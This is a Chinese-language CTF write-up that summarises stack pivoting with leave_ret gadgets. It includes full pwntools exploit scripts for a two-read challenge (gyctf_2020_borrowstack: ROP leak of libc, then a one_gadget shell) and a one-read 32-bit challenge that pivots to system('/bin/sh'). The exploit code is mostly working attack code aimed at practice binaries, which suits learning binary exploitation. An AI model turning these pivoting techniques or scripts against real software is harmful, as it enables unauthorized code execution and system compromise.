@TOC
最近做了很多栈迁移的题目,做个总结
条件 栈溢出时,返回地址只剩下1字长 无法构造pop链
栈迁移 利用连续的两次 leave_ret 达到控制esp的目的 第一次leave_ret去控制假的ebp 第二次leave_ret去控制esp 迁移的地方需要有写的权限
思路1(两次read情况) 第一次read的时候把我们要迁移的地方覆盖ebp 返回地址填leave_ret 第二次read的时候来构造我们迁移的地方
例题1:gyctf_2020_borrowstack 可以看到第一次在栈上读,溢出只有8字节 第二次在bss上读,可以用来构造payload
1 2 3 4 5 6 payload='a' *(0x60 )+p64(bank_addr+0xd0 )+p64(leave_ret) io.send(payload) io.recvuntil('Done!You can check and use your borrow stack now!\n' ) payload='a' *(8 +0xd0 )+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(main_addr) io.send(payload) read_addr=u64(io.recv(6 ).ljust(8 ,'\x00' ))
这么构造就可以读出read的地址,从而泄露libc基质 bank_addr+0xd0是因为bss段与got表接近,防止迁移时,覆盖got表,让程序报错
泄露出libc后用one_gadget就可以打通
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *io=remote('node4.buuoj.cn' ,26243 ) elf=ELF('./gyc' ) libc=ELF('./1.so' ) leave_ret=0x400699 bank_addr=0x601080 pop_rdi=0x400703 read_got=elf.got['read' ] puts_plt=elf.plt['puts' ] main_addr=elf.symbols['main' ] payload='a' *(0x60 )+p64(bank_addr+0xd0 )+p64(leave_ret) io.send(payload) io.recvuntil('Done!You can check and use your borrow stack now!\n' ) payload='a' *(8 +0xd0 )+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(main_addr) io.send(payload) read_addr=u64(io.recv(6 ).ljust(8 ,'\x00' )) print (hex (read_addr))libcbase=read_addr-libc.symbols['read' ] print (hex (libcbase))io.recvuntil("want\n" ) onegadget=libcbase+0x45216 payload='c' *(0x60 )+'b' *(8 )+p64(onegadget) io.send(payload) io.recvuntil('now!\n' ) io.send('aaa' ) io.interactive()
思路2(一次read情况) 这种发现只有一次read,那么在 第一次read时,构造假的ebp 并且再次返回到read函数 第二次read时,构造paylaod 返回leave_ret
例题
1 2 3 4 5 6 payload = 'a' *0x18 +p32(0x804b500 +0x18 )+p32(0x804959B ) io.send(payload) payload = p32(system)+p32(0 )+p32(0x804b50c )+'/bin/sh\x00' payload = payload.ljust(0x18 ,'\x00' ) payload += p32(0x804b500 -4 )+p32(leave_ret) io.send(payload)
0x804b500+0x18是为了让read填入的地方在0x804b500 0x804959B是一个完整的read 后面的payload就是正常的布置system(/bin/sh) 0x804b500-4 : 减4是因为pop的时候加4 刚好执行0x804b500 0x804b50c: 是/bin/sh的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *io = process('./Gpwn2' ) elf = ELF('./Gpwn2' ) context.log_level = 'debug' system = elf.plt['system' ] leave_ret = 0x80495B1 io.recvuntil('Checkname:\n' ) payload = 'admin\x0a' io.send(payload) io.recvuntil('Pass:\n' ) payload = '10000000000000000000000000000266' io.send(payload) io.recvuntil('Success\n' ) payload = 'a' *0x18 +p32(0x804b500 +0x18 )+p32(0x804959B ) gdb.attach(io) io.send(payload) payload = p32(system)+p32(0 )+p32(0x804b50c )+'/bin/sh\x00' payload = payload.ljust(0x18 ,'\x00' ) payload += p32(0x804b500 -4 )+p32(leave_ret) io.send(payload) io.interactive()